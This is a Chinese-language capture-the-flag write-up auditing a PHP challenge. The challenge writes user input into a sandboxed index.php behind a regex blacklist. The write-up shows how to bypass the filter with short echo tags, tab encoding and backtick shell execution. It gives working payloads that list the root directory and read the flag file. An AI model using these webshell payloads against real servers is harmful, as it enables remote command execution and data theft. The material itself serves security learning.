代码审计

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

审计

关键是利用file_put_contents查看输出结果,通过$dir得出路径

?action=pwd –> sandbox/c47b21fcf8f0bc8b3920541abd8024fd/

接下来写命令

?action=upload&data=<script>alert("whoami")</script>
访问http://0bdbbb92-4d08-46b8-a2ff-c089a0bc56ff.node4.buuoj.cn:81/sandbox/c47b21fcf8f0bc8b3920541abd8024fd/ 成功弹窗

由于写入的文件是后缀名为php的,所以要能够执行语句,语法就得满足php。过滤了PHP,可以使用php的短标签。

尝试了一下<?= ?>可以成功写入,这个<?= ?>相当于<?echo ?>,空格杯过滤了用%09代替,或者\t

执行命令:PHP执行运算符:反引号(``)。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符"`"的效果与函数shell_exec() 相同。

注意:
关闭了 shell_exec() 时反引号运算符是无效的。
与其它某些语言不同,反引号不能在双引号字符串中使用。

payload:
?action=upload&data=<?=`ls%09/`?>
?action=upload&data=<?=`cat%09/f*`?>

a?b:c 三目运算符
a?:b a为真返回 否则返回b
a??b a存在(不为null)返回a,否则返回b

参考

https://blog.csdn.net/cjdgg/article/details/118216890

https://www.cnblogs.com/aninock/p/15221334.html